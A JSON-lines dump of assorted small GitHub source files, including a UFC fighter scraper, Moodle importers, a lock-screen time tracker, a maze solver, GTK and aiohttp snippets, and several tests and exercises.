+{"seq_id":"37201826484","text":"from bs4 import BeautifulSoup\nfrom unidecode import unidecode\n\nimport re\nimport json\nimport os.path\n\nfrom selenium import webdriver\n\n\nclass sherdog:\n def __init__(self, wd: webdriver, path_to_umatrix: str):\n self.wd = wd\n self.wd.install_addon(path_to_umatrix)\n self.cardsLinks = []\n self.fightersLinks = {}\n self.fightersInfo = []\n\n\n def downloadAllCardsInfo(self):\n \"\"\"Get all the UFC cards from sherdog's site\"\"\"\n if os.path.isfile(\"sherdog_cards.json\"):\n self.cardsLinks = json.load(open('sherdog_cards.json', 'r'))\n else:\n for x in range(5, 0, -1):\n self.wd.get(\n f\"https://www.sherdog.com/organizations/Ultimate-Fighting-Championship-UFC-2/recent-events/{x}\")\n site = BeautifulSoup(self.wd.page_source, 'html.parser')\n for line in (site.find('div', {'id': 'recent_tab'})\n .find('tbody').find_all('tr')[::-1]):\n if line.find('a'):\n self.cardsLinks.append(\n \"https://www.sherdog.com\" + line.a['href'])\n\n json.dump(self.cardsLinks,open('sherdog_cards.json','w'))\n\n def get_cards_links(self):\n return self.cardsLinks if self.cardsLinks else self.downloadAllCardsInfo()\n\n\n def downloadAllFightersProfiles(self):\n \"Extracts all links to the ufc fighters (or ex-fighters) profiles\"\n\n if not (self.cardsLinks and os.path.isfile(\"sherdog_cards.json\")):\n for cnumber, card in enumerate(self.cardsLinks):\n if not ((len(self.cardsLinks) - cnumber) % 100):\n print(\"{len(self.fightersLinks) - cnumber} cards are left\")\n\n self.wd.implicitly_wait(1)\n self.wd.get(card)\n site = BeautifulSoup(self.wd.page_source, 'html.parser')\n if not site.find('div', class_='module fight_card'): continue\n for main_card in (site.find('div',class_='module fight_card')\n .find_all('a')):\n\n if main_card.find('span') and main_card.find('span').text not in self.fightersLinks:\n self.fightersLinks[main_card.find('span').text] = main_card['href']\n\n for fight in (site.find('div', class_='content table')\n .find_all('tr', {'itemprop': 'subEvent'})):\n for fighter in (fight\n .find_all('td', {'itemprop': 'performer'})):\n if fighter.a.text not in self.fightersLinks:\n self.fightersLinks[fighter.a.text] = fighter.a['href']\n\n if not os.path.isfile(\"sherdog_fighters_links.json\"):\n json.dump(self.fightersLinks, open('sherdog_fighters_links.json', 'w'))\n\n elif os.path.isfile(\"sherdog_cards.json\"):\n self.fightersLinks = json.load(open('sherdog_fighters_links.json','r'))\n self.downloadAllFightersProfiles()\n else:\n self.downloadAllCardsInfo()\n self.downloadAllFightersProfiles()\n\n\n def get_fighters_links(self):\n return [\"https://www.sherdog.com\" + x for x in self.fightersLinks.values()] if self.fightersLinks else self.downloadAllFightersProfiles()\n\n\n def extractInfo(self,url):\n def dateDecoder(string):\n months = {'Jan': '01', 'Feb': '02', 'Mar': '03',\n 'Apr': '04', 'May': '05', 'Jun': '06',\n 'Jul': '07', 'Aug': '08', 'Sep': '09',\n 'Oct': '10', 'Nov': '11', 'Dec': '12'}\n new_date = string.split('/')\n return '-'.join([new_date[2].strip(), months[new_date[0].strip()],new_date[1].strip()])\n\n fighter = {'Name': '',\n 'Nickname': '',\n 'Birth date': '',\n 'Height': '',\n 'Record': {'wins': '', 'loses': '', 'draws': '',\n 'nc': ''},\n 'Affiliation': '',\n 'Nationality': '',\n 'Location region': '',\n 'Location city': '',\n 'Weight': '',\n 'wins summary': {'KO/TKO': '', 'SUBMISSIONS': '',\n 'DECISIONS': '', 'OTHERS': ''},\n 'loses summary': {'KO/TKO': '', 'SUBMISSIONS': '',\n 'DECISIONS': '', 'OTHERS': ''},\n 'bouts': []}\n\n self.wd.get(url)\n site = BeautifulSoup(self.wd.page_source, 'html.parser')\n\n # fighters summary\n bio = site.find('div', class_='module bio_fighter vcard')\n\n if not site.find('div', class_='module bio_fighter tagged'):\n if len(bio.find('h1').find_all('span')) > 1:\n fighter['Name'], fighter['Nickname'] = \\\n [x.text for x in bio.find('h1').find_all('span')]\n else:\n fighter['Name'] = str(bio.find('h1').find('span').text)\n else:\n fighter['Name'] = str(site.find('span', class_='fn').text)\n fighter['Nickname'] = \\\n str(site.find('span', class_='nickname').text if\n site.find('span', class_='nickname') else '')\n\n fighter['Birth date'] = \\\n str(bio.find('span', {'itemprop': 'birthDate'}).text if\n bio.find('span', {'itemprop': 'birthDate'}) else '')\n\n if re.search('(\\d+\\.\\d+) cm',\n bio.find('div', class_='size_info').find('span', class_='item height').text):\n\n fighter['Height'] = \\\n (str(re.search('(\\d+\\.\\d+) cm', bio.find('div', class_='size_info')\n .find('span', class_='item height').text)[1]))\n\n if re.search('(\\d+\\.\\d+) kg',\n bio.find('div', class_='size_info').find('span',\n class_='item weight').text):\n fighter['Weight'] = str(re.search('(\\d+\\.\\d+) kg',\n bio.find('div',\n class_='size_info').find(\n 'span',\n class_='item weight').text)[1])\n fighter['Record']['wins'] = str(\n bio.find('span', class_='counter').text)\n fighter['Record']['loses'] = str(\n bio.find('div', class_='bio_graph loser').find('span',\n class_='counter').text)\n\n if bio.find('div', class_='right_side'):\n for outs in bio.find('div', class_='right_side').find_all(\n 'div', class_='bio_graph'):\n if outs.find('span', 'result').text == 'Draws':\n fighter['Record']['draws'] = str(\n outs.find('span', 'counter').text)\n if outs.find('span', 'result').text == 'N/C':\n fighter['Record']['nc'] = str(\n outs.find('span', 'counter').text)\n\n bouts_summary = [re.match('\\d+', x.text)[0] for x in\n bio.find_all('span', class_='graph_tag')]\n if len(bouts_summary) == 8:\n fighter['wins summary']['KO/TKO'], fighter['wins summary'][\n 'SUBMISSIONS'], fighter['wins summary']['DECISIONS'], \\\n fighter['wins summary']['OTHERS'] = bouts_summary[0:4]\n fighter['loses summary']['KO/TKO'], fighter['loses summary'][\n 'SUBMISSIONS'], fighter['loses summary']['DECISIONS'], \\\n fighter['loses summary']['OTHERS'] = bouts_summary[4:]\n else:\n fighter['wins summary']['KO/TKO'], fighter['wins summary'][\n 'SUBMISSIONS'], fighter['wins summary'][\n 'DECISIONS'] = bouts_summary[0:3]\n fighter['loses summary']['KO/TKO'], fighter['loses summary'][\n 'SUBMISSIONS'], fighter['loses summary'][\n 'DECISIONS'] = bouts_summary[3:]\n\n fighter['Nationality'] = str(bio.find('strong', {\n 'itemprop': 'nationality'}).text if bio.find('strong', {\n 'itemprop': 'nationality'}) else '')\n fighter['Affiliation'] = str(\n bio.find('a', class_='association').text if bio.find('a',\n class_='association') else '')\n\n if bio.find('span', class_='locality'):\n if ',' in bio.find('span', class_='locality').text:\n fighter['Location city'], fighter[\n 'Location region'] = bio.find('span',\n class_='locality').text.split(\n ',')\n else:\n fighter['Location city'] = str(\n bio.find('span', class_='locality').text)\n\n # fights description\n for history in site.find_all('div', class_='module fight_history'):\n if (re.search('Pro Exhibition', history.find('h2').text,\n re.IGNORECASE) or\n re.search('Amateur', history.find('h2').text,\n re.IGNORECASE) or\n re.search('Upcoming', history.find('h2').text,\n re.IGNORECASE)): continue\n\n for bout in history.find_all('tr')[1:][::-1]:\n bout_info = {'result': '', 'opponent': '', 'event': '',\n 'date': '', 'method': '', 'referee': '',\n 'round': '', 'time': '', 'dc reason': \"\"}\n fight_info = bout.find_all('td')\n bout_info['result'] = str(fight_info[0].text)\n bout_info['opponent'] = str(fight_info[1].text)\n bout_info['event'] = str(fight_info[2].a.text)\n bout_info['date'] = str(dateDecoder(\n fight_info[2].find('span', 'sub_line').text) if\n fight_info[2].find('span',\n 'sub_line') else '')\n bout_info['method'] = str(fight_info[3].contents[0])\n if len(fight_info[3].contents) == 2:\n pass\n elif len(fight_info[3].contents[2]) == 1:\n bout_info['referee'] = str(\n fight_info[3].contents[2].text if\n fight_info[3].contents[2] else '')\n else:\n bout_info['referee'] = str(\n fight_info[3].contents[4].text if str(\n fight_info[3].contents[4]) != 'N/A' else '')\n bout_info['dc reason'] = str(\n unidecode(fight_info[3].contents[2]))\n\n bout_info['round'] = str(fight_info[4].text)\n bout_info['time'] = str(fight_info[5].text)\n fighter['bouts'].append(bout_info)\n\n return fighter\n\n def extractAllInfo(self):\n if not self.fightersLinks:\n self.downloadAllFightersProfiles()\n else:\n for idx,link in enumerate([\"https://www.sherdog.com\" + x for x in self.fightersLinks.values()]):\n self.fightersInfo.append(self.extractInfo(link))\n if not (idx % 100):\n print(f\"{len(self.fightersLinks) - idx} fighters are left\")\n print(f\"All done\")\n json.dump(self.fightersInfo, open('sherdog_fighters_links.json', 'w'))\n\n def getAllinfo(self):\n return self.fightersInfo\n","repo_name":"g13n4/ufcFightersScraper","sub_path":"ufcFightersScraper/sherdog.py","file_name":"sherdog.py","file_ext":"py","file_size_in_byte":11648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"14284357943","text":"import unittest\nfrom app.models import User, Club, Player, Points, Price, Transaction, Userdata\nfrom app import create_app, db\nfrom datetime import date, timedelta\n\n\nclass DataCreationTest(unittest.TestCase):\n def setUp(self):\n self.app = create_app('testing')\n self.app_context = self.app.app_context()\n self.app_context.push()\n db.drop_all()\n db.create_all()\n\n def tearDown(self):\n db.session.remove()\n db.drop_all()\n self.app_context.pop()\n\n def test_data_creation(self):\n c = Club(id=5, name='Test')\n p = Player(id=7, name='Potato', position='Alante', club=c)\n u = User(id=3, name='Yo', players=[p])\n\n ud = Userdata(id=u, date=date.today(), points=12, money=14, teamvalue=111, maxbid=12331)\n t = Transaction(player_id=p.id, user_id=u.id, sort=\"Sell\", price = 123, date = date.today())\n u.userdata.append(ud)\n u.transactions.append(t)\n\n pt = Points(id=p, gameday=1, points=10)\n ptt = Points(id=p, gameday=2, points=6)\n pr = Price(id=p, date=date.today(), price=160000)\n prr = Price(id=p, date=date.today() + timedelta(days=1), price=200000)\n p.prices.extend([pr, prr])\n p.points.extend([pt, ptt])\n\n # db.session.add_all([u, c, p, ud, t, pt, ptt, pr, prr])\n db.session.add(u)\n db.session.commit()\n\n u = User.query.filter_by(id=3).first()\n self.assertTrue(u.name == 'Yo')\n self.assertEqual(u.players.count(), 1)\n self.assertEqual(u.players[0].prices.count(), 2)\n","repo_name":"jotacor/tradunio-web","sub_path":"tests/test_data_creation.py","file_name":"test_data_creation.py","file_ext":"py","file_size_in_byte":1568,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"21215460455","text":"food_quantity = float(input())\nhay_quantity = float(input())\ncover_quantity = float(input())\npig_weight = float(input())\nis_enough = True\nfor day in range(1, 31):\n food_quantity = float(f\"{food_quantity - 0.3:.2f}\")\n if day % 2 == 0:\n hay_quantity -= float(f\"{0.05 * food_quantity:.2f}\")\n if day % 3 == 0:\n cover_quantity -= float(f\"{pig_weight / 3}\")\n if food_quantity <= 0 or hay_quantity <= 0 or cover_quantity <= 0:\n print(\"Merry must go to the pet store!\")\n is_enough = False\n break\nif is_enough:\n print(\n f\"Everything is fine! Puppy is happy! Food: {food_quantity:.2f}, Hay: {hay_quantity:.2f}, Cover: {cover_quantity:.2f}.\")\n","repo_name":"Tsveti1103/Python-Fundamentals","sub_path":"mid_exam_preparation/guinea_pig.py","file_name":"guinea_pig.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"38133809099","text":"import dbus\nimport logging\nimport os\nimport pystray\nimport signal\nfrom pkg_resources import resource_filename\nfrom PIL import Image\nfrom time import sleep\nfrom .platformctx import PunchStrategy\nfrom .ledgers import ledger_factory\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass LockScreen(object):\n \"\"\" Logger for lock/unlock screen \"\"\"\n def __init__(self, ledger):\n from dbus.mainloop.glib import DBusGMainLoop\n DBusGMainLoop(set_as_default=True)\n from gi.repository import GObject\n self.loop = GObject.MainLoop()\n self.bus = dbus.SessionBus()\n self.ledger = ledger\n\n self.screen_saver_proxy, is_unity = self._get_screen_saver_proxy()\n\n if is_unity is True:\n self.screen_saver_proxy.connect_to_signal('Locked', self.locked_handler, sender_keyword='sender')\n self.screen_saver_proxy.connect_to_signal('Unlocked', self.unlocked_handler, sender_keyword='sender')\n logger.info('Enabling unity screen saver watcher')\n else:\n self.screen_saver_proxy.connect_to_signal(\"ActiveChanged\",\n self.gnome_handler,\n dbus_interface='org.gnome.ScreenSaver')\n logger.info('Enabling gnome screen saver watcher')\n\n def _get_screen_saver_proxy(self):\n \"\"\" get dbus proxy object \"\"\"\n timeout = 20\n ssp = None\n unity = False\n\n # When using systemd user service, we need to retry a couple of times before the bus is ready.\n while not ssp and timeout != 0:\n\n try:\n if 'ubuntu' in os.environ.get('DESKTOP_SESSION'):\n unity = True\n except TypeError:\n logger.warning(\"Failed to get DESKTOP_SESSION env, retrying\")\n timeout -= 1\n sleep(1)\n continue\n\n try:\n if unity:\n ssp = self.bus.get_object('com.canonical.Unity', '/com/canonical/Unity/Session')\n else:\n ssp = self.bus.get_object('org.gnome.ScreenSaver', '/org/gnome/ScreenSaver')\n except dbus.exceptions.DBusException:\n logger.info('Failed to get dbus object, retrying')\n timeout -= 1\n sleep(1)\n\n if not ssp:\n raise Exception(\"Can't connect to screen saver proxy\")\n\n return ssp, unity\n\n def gnome_handler(self, dbus_screen_active):\n \"\"\" handle gnome screen saver signals \"\"\"\n if dbus_screen_active:\n logger.debug('gnome: lock screen')\n self.ledger.out_signal()\n else:\n logger.debug('gnome: unlock screen')\n self.ledger.in_signal()\n\n def locked_handler(self, sender=None):\n \"\"\" hanlde unity lock screen \"\"\"\n logger.debug('Unity: lock screen')\n self.ledger.out_signal()\n\n def unlocked_handler(self, sender=None):\n \"\"\" handle unity unlock screen \"\"\"\n logger.debug('Unity unlock screen')\n self.ledger.in_signal()\n\n def start(self):\n \"\"\" start main loop \"\"\"\n try:\n self.loop.run()\n except KeyboardInterrupt:\n self.ledger.out_signal()\n logger.exception(\"KeyboardInterrrupt, shutting down\")\n logger.debug('lockscreen loop stopped')\n\n def stop(self):\n self.loop.quit()\n\n\nclass LinuxStrategy(PunchStrategy):\n def __init__(self, **kwargs):\n self.config = kwargs\n self.ledger = ledger_factory(**self.config)\n self.ledger.in_signal()\n\n self.app = pystray.Icon(\n 'bundyclock',\n icon=Image.open(resource_filename(__name__, 'service_files/bundyclock.png')),\n menu=pystray.Menu(\n pystray.MenuItem('take a break', self.after_click),\n pystray.Menu.SEPARATOR,\n pystray.MenuItem('show time today', self.after_click),\n pystray.Menu.SEPARATOR,\n pystray.MenuItem('quit', self.after_click),\n )\n )\n\n # Register sigterm handler\n signal.signal(signal.SIGTERM, self.sigterm_handler)\n\n def after_click(self, icon, query):\n if str(query) == \"quit\":\n logger.info(\"quit by user\")\n self.lockscreen.stop()\n icon.stop()\n elif str(query) == 'show time today':\n self.ledger.update_in_out()\n today_time = self.ledger.get_today()\n self.app.notify(f\"Start: {today_time.intime}. Time elapsed: {today_time.total}\\n\"\n f\"Breaks {today_time.num_breaks} - {today_time.break_time}\",\n \"Bundyclock\")\n elif str(query) == \"take a break\":\n self.ledger.take_a_break()\n\n def sigterm_handler(self, *args, **kwargs):\n \"\"\" Gracefully shutdown, put last entry to time logger\"\"\"\n self.ledger.out_signal()\n self.lockscreen.stop()\n self.app.stop()\n logger.info(\"Killed by sigterm, shutting down\")\n\n def setup_lockscreen_loop(self, icon):\n self.lockscreen = LockScreen(self.ledger)\n icon.visible = True\n self.lockscreen.start()\n\n def run(self):\n self.app.run(self.setup_lockscreen_loop)\n","repo_name":"dahallgren/bundyclock","sub_path":"bundyclock/lockscreen.py","file_name":"lockscreen.py","file_ext":"py","file_size_in_byte":5289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17714939153","text":"from dss.importers.db_importer import PostgresDBImporter\nfrom ssis_dss.moodle.MoodleInterface import MoodleInterface\nimport ssis_dss_settings\nfrom collections import defaultdict\n\nclass MoodleImporter(PostgresDBImporter, MoodleInterface):\n _settings = ssis_dss_settings['SSIS_DB']\n reader = None\n\n def readin(self):\n \"\"\"\n \"\"\"\n return []\n\nclass MoodleStudentsImporter(MoodleImporter):\n def readin(self):\n users = self.import_students_with_links('studentsALL')\n\n for student, parent in users:\n yield {\n 'idnumber':student.idnumber, \n 'firstname':student.firstname, \n 'lastname':student.lastname,\n 'auth': student.auth,\n 'username': student.username,\n 'homeroom': student.department,\n 'parents': [parent.idnumber],\n }\n\nclass MoodleParentsImporter(MoodleImporter):\n def readin(self):\n # Build cohort information to be used below\n\n parents = self.users_enrolled_in_this_cohort('parentsALL')\n\n for parent in parents:\n\n yield {\n 'idnumber':parent.idnumber, \n 'firstname':parent.firstname, \n 'lastname':parent.lastname,\n 'auth': parent.auth,\n 'username': parent.username,\n 'email': parent.email,\n 'homeroom': parent.department,\n }\n\nclass MoodleTeachersImporter(MoodleImporter):\n def readin(self):\n for user in self.users_enrolled_in_this_cohort('teachersALL'):\n #idnumber _dbid lastfirst email title status active dunno\n yield {\n 'idnumber': user.idnumber,\n 'firstname': user.firstname,\n 'lastname':user.lastname,\n 'username':user.username,\n 'email': user.email,\n }\n\n# Users is a hybrid\n\nclass MoodleParentChildLinkImporter(MoodleImporter):\n def readin(self):\n users = self.import_parents_with_links('parentsALL')\n for parent, student in users:\n yield {\n 'idnumber': student.idnumber,\n 'links': set([parent.idnumber])\n }\n yield {\n 'idnumber': parent.idnumber,\n 'links': set([student.idnumber])\n }\n\n\nclass StrandedUsersTable(MoodleImporter):\n def readin(self):\n for user in self.get_rows_in_table('users'):\n if user.idnumber and not self._tree.users.get(user.idnumber):\n yield {\n 'idnumber': user.idnumber,\n 'object': user\n }\n return []\n\nclass MoodleCohortsImporter(MoodleImporter):\n def readin(self):\n for user_idnumber, cohort_idnumber in self.get_cohorts():\n user = self._tree.users.get(user_idnumber)\n if not user:\n continue\n yield {\n 'idnumber': cohort_idnumber,\n 'members': [user_idnumber],\n }\n\nclass MoodleScheduleImporter(MoodleImporter):\n \"\"\"\n This is just a placeholder. Autosend side needs to import the schedule from which to derive enrollments\n But Moodle already has enrollments, and doesn't need the schedule.\n \"\"\" \n def readin(self):\n for schedule in self.bell_schedule():\n course, idnumber, username, role, group, group_name = schedule\n user = self._tree.users.get(idnumber)\n\n yield {\n 'user_idnumber': idnumber,\n 'course': course,\n 'group': group,\n 'role': role\n }\n\nclass MoodleCourseImporter(MoodleImporter):\n def readin(self): \n for item in self.get_teaching_learning_courses():\n yield {\n 'idnumber': item.idnumber,\n 'moodle_shortcode': item.idnumber,\n 'name': item.fullname,\n '_dbid': item.database_id\n }\n\nclass MoodleGroupImporter(MoodleImporter):\n # FIXME: Have a setting that allows to filter out\n # def filter_out(self, **kwargs):\n # return len(kwargs['idnumber'].split('-')) != 3\n\n def readin(self):\n for group_id, group_idnumber, course_idnumber, user_idnumber in self.get_groups():\n if '-' in group_idnumber:\n split = group_idnumber.split('-')\n if len(split) == 4:\n grade = split[-2]\n elif len(split) == 3:\n # may not have been migrated yet\n grade = ''\n teacher = split[0]\n section = split[-1]\n else:\n section = ''\n grade = ''\n teacher = ''\n\n if not group_idnumber:\n # Manual groups can be created without idnumber, in which case we should just move on\n continue\n\n yield {\n 'idnumber': group_idnumber,\n 'grade': grade,\n 'section': section,\n '_short_code': '',\n '_id': group_id,\n 'course': course_idnumber,\n 'members': set([user_idnumber])\n }\n\n for group, course in self.get_all_groups():\n if not group.idnumber:\n continue\n\n if '-' in group.idnumber:\n split = group.idnumber.split('-') \n section = group.idnumber.split('-')[-1]\n if len(split) == 4:\n grade = split[-2]\n else:\n grade = ''\n else:\n section = ''\n\n yield {\n 'idnumber': group.idnumber,\n 'grade': grade,\n 'section': section,\n 'course': course.idnumber,\n '_id': group.id,\n 'members': set()\n }\n\n\nclass MoodleEnrollmentsImporter(MoodleImporter):\n\n def readin(self):\n \"\"\"\n\n TODO: This is wrong, maybe just do another SQL \n\n \"\"\"\n for key in self._tree.schedule.keys():\n schedule = self._tree.schedule.get(key)\n user_idnumber = schedule.user_idnumber\n course = schedule.course\n group = schedule.group\n role = schedule.role\n\n yield {\n 'idnumber': user_idnumber,\n 'courses': [course],\n 'groups': ['' if group is None else group],\n 'roles': [role]\n }\n\n","repo_name":"brainysmurf/ssisdss","sub_path":"ssis_dss/importers/moodle_importers.py","file_name":"moodle_importers.py","file_ext":"py","file_size_in_byte":6537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"32798027479","text":"import sys\nsys.stdin = open('4875_미로_input.txt', 'r')\n\n\ndef find_start():\n for y in range(N):\n for x in range(N):\n if maze[y][x] == 2:\n return x, y\n\n\n# 동 서 남 북\ndx = [1, -1, 0, 0]\ndy = [0, 0, 1, -1]\ndef go_maze(start_x, start_y):\n stack = [(start_x, start_y)]\n visit = [[False for _ in range(N)] for _ in range(N)]\n visit[start_y][start_x] = True\n while stack:\n x, y = stack[-1]\n pre_x, pre_y = x, y\n for d in range(4):\n nx = x + dx[d]\n ny = y + dy[d]\n if 0 <= nx < N and 0 <= ny < N and visit[ny][nx] == False:\n if maze[ny][nx] == 0: \n stack.append((nx, ny))\n visit[ny][nx] = True\n x, y = stack[-1]\n break\n elif maze[ny][nx] == 3:\n return 1\n if pre_x == x and pre_y == y:\n stack.pop()\n return 0\n\n\nT = int(input())\nfor t in range(T):\n N = int(input())\n maze = [list(map(int, list(input()))) for _ in range(N)]\n\n x, y = find_start()\n \n print('#{} {}'.format(t+1, go_maze(x, y)))","repo_name":"mycomax0416/SWEA","sub_path":"20190812/4875_미로.py","file_name":"4875_미로.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"4017604337","text":"import gi\ngi.require_version('Gtk', '3.0')\nfrom gi.repository import Gtk\n\nclass ComboBoxWindow(Gtk.Window):\n\n def __init__(self):\n Gtk.Window.__init__(self, title=\"IoT Gateway: Connected Nodes\")\n\n self.maximize()\n\n name_store = Gtk.ListStore(int, str)\n name_store.append([1, \"Node 1: IP_Addr1\"])\n name_store.append([11, \"Node 2: IP_Addr2\"])\n name_store.append([12, \"Node 3: IP_Addr3\"])\n name_store.append([2, \"Node 4: IP_Addr4\"])\n name_store.append([3, \"Node 5: IP_Addr5\"])\n name_store.append([31, \"Node 6: IP_Addr6\"])\n\n self.OKButton = Gtk.Button(\" OK \")\n self.OKButton.connect('clicked', self.on_ok_clicked)\n self.CancelButton = Gtk.Button(\" Cancel \")\n self.CancelButton.connect('clicked', self.on_cancel_clicked)\n\n MyLabel = Gtk.Label(\"Select Sensor Node from below list\")\n\n name_combo = Gtk.ComboBox.new_with_model_and_entry(name_store)\n name_combo.connect(\"changed\", self.on_name_combo_changed)\n name_combo.set_entry_text_column(1)\n\n self.fix = Gtk.Fixed()\n self.fix.put(MyLabel,40,50)\n self.fix.put(name_combo, 40, 80)\n self.fix.put(self.OKButton, 400, 80)\n self.fix.put(self.CancelButton, 400,150)\n self.add(self.fix)\n\n def on_changed(self, widget):\n self.label.set_label(widget.get_active_text())\n\n def on_name_combo_changed(self, combo):\n tree_iter = combo.get_active_iter()\n if tree_iter is not None:\n model = combo.get_model()\n row_id, name = model[tree_iter][:2]\n print(\"Selected: ID=%d, name=%s\" % (row_id, name))\n else:\n entry = combo.get_child()\n print(\"Entered: %s\" % entry.get_text())\n\n def on_country_combo_changed(self, combo):\n tree_iter = combo.get_active_iter()\n if tree_iter is not None:\n model = combo.get_model()\n country = model[tree_iter][0]\n print(\"Selected: country=%s\" % country)\n\n def on_currency_combo_changed(self, combo):\n text = combo.get_active_text()\n if text is not None:\n print(\"Selected: currency=%s\" % text)\n #\n # Callback for \"OK\" button clicked.\n #\n def on_ok_clicked(self, widget):\n # save the opted drop down option (Node - IP).\n import sensorDataDisplay\n gui = sensorDataDisplay.SensorDataWindow()\n gui.show_all()\n # self.destroy()\n\n #\n # Callback for \"Cancel\" button clicked.\n #\n def on_cancel_clicked(self, widget):\n self.destroy()\n\n\n\nwin = ComboBoxWindow()\nwin.connect(\"destroy\", Gtk.main_quit)\nwin.show_all()\nGtk.main()\n","repo_name":"subodhsvs/X-LINUX-SUB1GHz","sub_path":"gatewayGUI/gui/IP_Window.py","file_name":"IP_Window.py","file_ext":"py","file_size_in_byte":2676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24429407892","text":"# reverse cipher\n\n# this code will reverse the message in reverse order\n\nmessage_text = input(\"Type your message here: \")\nprint(\"Your text is printed below\\n\",message_text)\nreverse_message = ''\n\ni = len(message_text)-1 # index variable for input message\n\nwhile i>=0:\n\treverse_message = reverse_message + message_text[i]\n\ti-=1\nprint(\"Your reverse cipher code is printed below\")\nprint(reverse_message)\n","repo_name":"BanarasiVaibhav/Cryptography_Python","sub_path":"reverse_cipher.py","file_name":"reverse_cipher.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29051825797","text":"# -*- coding: utf-8 -*-\n\n__author__ = 'sandyk'\n\nimport datetime\n\nimport allure\nimport pytest\n\nimport balance.balance_api as api\nfrom balance import balance_steps as steps\nfrom balance.features import Features\n\nDT = datetime.datetime.now()\nPERSON_TYPE = 'ph'\nPAYSYS_ID = 1001\nSERVICE_ID = 129\nNON_CURRENCY_PRODUCT_ID = 508896\nFIRM_ID = 1\nMAIN_DT = datetime.datetime.now()\nSHIPMENT_DT = MAIN_DT.replace(minute=0, hour=0, second=0, microsecond=0)\nQTY = 49999.99\nSTART_DT = str(datetime.datetime.now().strftime(\"%Y-%m-%d\")) + 'T00:00:00'\n\n\n# 502962\n@pytest.mark.slow\n@allure.feature(Features.OVERDRAFT)\n@pytest.mark.tickets('BALANCE-22004 ')\ndef test_fair_overdraft_mv_client():\n client_id = steps.ClientSteps.create(params={'IS_AGENCY': 0})\n # steps.ClientSteps.link(client_id,'yndx-web-test-uid-1')\n person_id = steps.PersonSteps.create(client_id, PERSON_TYPE)\n contract_id = None\n # contract_id = steps.ContractSteps.create_contract_new('no_agency', {'CLIENT_ID': client_id,\n # 'PERSON_ID': person_id,\n # 'IS_FIXED': START_DT, 'DT': START_DT, 'IS_SIGNED': START_DT,\n # 'FIRM': FIRM_ID, 'SERVICES':[SERVICE_ID],\n # 'PAYMENT_TYPE':2,\n # 'UNILATERAL':1,\n # 'CURRENCY':810})[0]\n\n service_order_id = steps.OrderSteps.next_id(SERVICE_ID)\n order_id = steps.OrderSteps.create(client_id, service_order_id, NON_CURRENCY_PRODUCT_ID, SERVICE_ID,\n {'TEXT': 'Py_Test order', 'AgencyID': None, 'ManagerUID': 403026233})\n\n orders_list = [\n {'ServiceID': SERVICE_ID, 'ServiceOrderID': service_order_id, 'Qty': QTY\n , 'BeginDT': DT\n }\n ]\n\n api.medium().GetPersonalAccount(\n {'PersonID': person_id, 'PaysysID': 1128, 'FirmID': FIRM_ID, 'ProductID': NON_CURRENCY_PRODUCT_ID})\n request_id = steps.RequestSteps.create(client_id=client_id, orders_list=orders_list\n , additional_params=dict(InvoiceDesireType='charge_note',\n FirmID=FIRM_ID))\n ##InvoiceDesireType = 'charge_note',\n invoice_id, _, _ = steps.InvoiceSteps.create(request_id=request_id, person_id=person_id, paysys_id=PAYSYS_ID,\n credit=0, contract_id=contract_id, overdraft=0, endbuyer_id=None)\n # steps.InvoiceSteps.pay(invoice_id)\n # steps.CampaignsSteps.do_campaigns(SERVICE_ID, service_order_id, {'Money': 90}, 0, campaigns_dt=MAIN_DT)\n # steps.ActsSteps.generate(client_id, 1, MAIN_DT)\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"billing/balance_tests/temp/sandyk/apikeys.py","file_name":"apikeys.py","file_ext":"py","file_size_in_byte":2831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40240423581","text":"from collections import Generator\nfrom random import random\n\n\ndef roulette(values, s=None):\n \"\"\"\n Select one index from values.\n\n The probability to choose index k is proportional to values[k], i.e., values[k] / sum(values).\n\n :param values: List with values corresponding to the probability to choose index k.\n :param s: Sum of values. This may speed up the algorithm.\n :return: An integer in range [0, len(values)), the chosen index.\n \"\"\"\n if s is None:\n if isinstance(values, Generator):\n values = list(values)\n s = sum(values)\n assert s > 0, \"Sum of values must be > 0: {}\".format(values)\n\n r = random()\n for i, x in enumerate(v / s for v in values):\n assert x >= 0, \"Negative values aren't allowed: {} at index {}\".format(x, i)\n r -= x\n if r < 0:\n return i\n return len(values) - 1\n","repo_name":"abrunoaa/Metaheuristics-Python","sub_path":"src/util/random_util.py","file_name":"random_util.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"56805371","text":"from aiohttp import web\nfrom .indexes import PrefixTreeIndex, RotatedPrefixTreeIndex, SoundexIndex\nfrom .queries import SpellingIndexes, parse_query\n\n\nindexes = SpellingIndexes(\n rotated=RotatedPrefixTreeIndex(),\n prefix=PrefixTreeIndex(),\n soundex=SoundexIndex()\n)\n\n\nasync def handle_store_tokens(request: web.Request):\n body = await request.json()\n tokens = body['tokens']\n indexes.rotated.add(tokens)\n indexes.prefix.add(tokens)\n indexes.soundex.add(tokens)\n return web.json_response({'status': 'ok'})\n\n\nasync def handle_parse_query(request: web.Request):\n body = await request.json()\n query = body['query']\n return web.json_response({'result': parse_query(query, indexes)})\n\n\napp = web.Application()\napp.add_routes([\n web.post('/storeTokens', handle_store_tokens),\n web.post('/parseQuery', 